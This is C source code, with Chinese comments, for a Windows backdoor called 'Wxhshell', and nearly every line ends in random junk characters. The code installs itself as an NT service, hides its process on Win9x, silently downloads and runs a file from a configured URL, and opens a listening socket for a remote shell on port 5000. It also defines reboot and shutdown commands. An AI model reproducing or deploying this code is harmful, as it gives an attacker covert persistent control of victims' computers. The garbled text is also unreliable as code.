ULONG UniqueProcessId; j@%K*Gb`
ULONG InheritedFromUniqueProcessId; A"Tc^Ij
} PROCESS_BASIC_INFORMATION; (r.$%[,.<
t^`<*H
PROCNTQSIP NtQueryInformationProcess; luJ{Iq
We[<BJo4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |3s.;wK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
*K]>}
eUX@9eML
HANDLE hProcess; iSnIBs9\
PROCESS_BASIC_INFORMATION pbi; Kh>?!`lL
0*37D5jH
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3FGb Q_
if(NULL == hInst ) return 0; hdo+Qezu:
}".\
4B$n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tpN]evp|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B)(p9]q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nwZ[Ygl|
d,Hf-zJ%~
if (!NtQueryInformationProcess) return 0; j4.Qvj >:4
$I?=.:<+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V`WI"HO+
if(!hProcess) return 0; gn-=##fT:i
(2\l i{$e
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "r5'lQI
[{hL F9yPx
CloseHandle(hProcess); 6^7)GCq [
U'JP1\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y9z:xE
if(hProcess==NULL) return 0;
s98: *o3
,\.YJD>z
HMODULE hMod; QT7w::ht
char procName[255]; sV9{4T~#|
unsigned long cbNeeded; g
@c=Bt$
jEC'l]l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TKj/6Jz|
ui s:\Uc
CloseHandle(hProcess); T=hm#]
7H8GkuO
if(strstr(procName,"services")) return 1; // 以服务启动 44Seq
Y!K^-Y}
return 0; // 注册表启动 9+WY@du+
} *Y|lO
34&u]4=L)
// 主模块 V Z4nAG
int StartWxhshell(LPSTR lpCmdLine) *!-}lc^4
{ fJSV)\e0
SOCKET wsl; (E2lv#[
BOOL val=TRUE; }w|=c>'_}
int port=0; Y{x[N}h
struct sockaddr_in door; {,nd_3"Vq
|THkS@Br
if(wscfg.ws_autoins) Install(); @j)f(Zlu#
/NPl2\ o.
port=atoi(lpCmdLine); rRF+\cP?.
+iZ@.LI
if(port<=0) port=wscfg.ws_port; `Z;B^Y0
HQ-N!pf9
WSADATA data; cG~_EX$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T1g:gfw@
^^j|0qshL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ss|6_H =
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VC_3 ll]vr
door.sin_family = AF_INET; XY$cx~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =6"hj,[Q
door.sin_port = htons(port); ynOc~TN
JsAb q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YQfZiz}Fv
closesocket(wsl); g*"J10hyP
return 1; y$;zTH_6j
} 3V8j>&
]8q%bsl+
if(listen(wsl,2) == INVALID_SOCKET) { ]ci|$@V
closesocket(wsl); \k$]GK-
return 1; .PA?N{z
} -Y!=Iw
4
Wxhshell(wsl); t&p:vXF2
WSACleanup(); $yR{ZFo
@eG#%6">
return 0; ^YB\\a9
6w .iEb
} 0X}w[^f
.n^O)|Z
// 以NT服务方式启动 `gA5P %
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R, (+NT$
{ `qYc#_ELv
DWORD status = 0; xr1I8 5kM
DWORD specificError = 0xfffffff; 0lJBtk9wn
N|^!"/
serviceStatus.dwServiceType = SERVICE_WIN32; i >/@]2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; st1M.}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r(/P||`l
serviceStatus.dwWin32ExitCode = 0;
:jN;l
serviceStatus.dwServiceSpecificExitCode = 0; G41$oalQ1
serviceStatus.dwCheckPoint = 0; G1n>@Y'j''
serviceStatus.dwWaitHint = 0; g'l7Jr3
Q%b46"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .bY1N5=sz
if (hServiceStatusHandle==0) return; +MZ2e^\F
`zvT5=*-#
status = GetLastError(); u.xA}yVS
if (status!=NO_ERROR) U%SNROj
{ =fu_ Jau}
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0 ^-b}
serviceStatus.dwCheckPoint = 0; iaq:5||,
serviceStatus.dwWaitHint = 0; Ug[F3J|Mu
serviceStatus.dwWin32ExitCode = status; b^|,9en
serviceStatus.dwServiceSpecificExitCode = specificError; r:S5x. P2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k+>p!1
return; T J"{nB
} :[$i~V
Snvj9Nr
serviceStatus.dwCurrentState = SERVICE_RUNNING; @tU>~y{E
serviceStatus.dwCheckPoint = 0; [$ Xu
serviceStatus.dwWaitHint = 0; GQc%OQc\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %@,:RA\pm
} 5tbiNm^X
y5opdIaT
// 处理NT服务事件,比如:启动、停止 LnACce
?b
VOID WINAPI NTServiceHandler(DWORD fdwControl) f<xt3
{ @o-evH;G
switch(fdwControl) ~NJL S-
{ hJtghG6v
case SERVICE_CONTROL_STOP: kQ:>j.^e
serviceStatus.dwWin32ExitCode = 0; E<.{
v\
serviceStatus.dwCurrentState = SERVICE_STOPPED; J jL0/&
serviceStatus.dwCheckPoint = 0;
61 HqBa
serviceStatus.dwWaitHint = 0; =F;^^VX
{ tZ6v@W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !&<Wc^PG
} F^[Rwzv>c
return; ?2
O-EiWjZ
case SERVICE_CONTROL_PAUSE: J5r
L7
serviceStatus.dwCurrentState = SERVICE_PAUSED; #on fac- 3
break; Xwn|.
case SERVICE_CONTROL_CONTINUE: Y{\2wU!Isn
serviceStatus.dwCurrentState = SERVICE_RUNNING; s?gXp{O?X
break; +r34\mAO
case SERVICE_CONTROL_INTERROGATE: i_Q4bhVj
break; r'}k`A5>
}; @eD2<e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W71#NjM2Z
} ;R-Q,aCM}
8CHf. SXh
// 标准应用程序主函数 'J<zVD}0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "\P~Re"EH
{ [_z2z6
S&g-
// 获取操作系统版本 <
oG\)!O
OsIsNt=GetOsVer(); 3jQ$72_
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tlv|To
MZ#2WP)F
// 从命令行安装 [@71
if(strpbrk(lpCmdLine,"iI")) Install(); OjL"0imN6
LB 5EGw
// 下载执行文件 B=qRZA!DQ?
if(wscfg.ws_downexe) { \~m%4kzG8J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LHGK!zI
WinExec(wscfg.ws_filenam,SW_HIDE); XwqfWd_
} (%^TTe
!N2 n@bo
if(!OsIsNt) { <Ucfd
G&Lp
// 如果时win9x,隐藏进程并且设置为注册表启动 uY#58?>'j
HideProc(); b8xfV{3 L
StartWxhshell(lpCmdLine); Bk(XJAjY
} dXy"yQ>{
else &ppZRdq]
if(StartFromService()) Pn){xfqDl
// 以服务方式启动 t7&
GCZ
StartServiceCtrlDispatcher(DispatchTable); o ML
K!]a
else D}C*8s bC}
// 普通方式启动 C'#)bX{
StartWxhshell(lpCmdLine); +]2~@=<@
o]k]pNO
return 0; 2H0q\zZ
} "VhrsVT
z[I/ AORl
%.}
%1l80Z
=========================================== st^N QL
UVi/Be#|
5 s2}nIe
HGMH
g
<.]& FPJ
'g,
x}6
" ]$%4;o4O
E8V\J
#include <stdio.h> PbC>v
#include <string.h> }Z%{QJ$z
#include <windows.h> YV+dUvz
#include <winsock2.h> -"b3q
#include <winsvc.h> )1'_g4
#include <urlmon.h> T_
#oMXZ/
."g5+ xX
#pragma comment (lib, "Ws2_32.lib") fae yk]u
#pragma comment (lib, "urlmon.lib") I>\?t4t
Tp.iRFFkP
#define MAX_USER 100 // 最大客户端连接数 dQoMAsxzM
#define BUF_SOCK 200 // sock buffer |L#r)$n{1
#define KEY_BUFF 255 // 输入 buffer 6aK2{-+
tWy<9TF
#define REBOOT 0 // 重启 'cCj@bZ9X
#define SHUTDOWN 1 // 关机 [_B&7#3>7
]fmf X
#define DEF_PORT 5000 // 监听端口 Nv#, s_hG
o*S $j Cf?
#define REG_LEN 16 // 注册表键长度 JqIv&W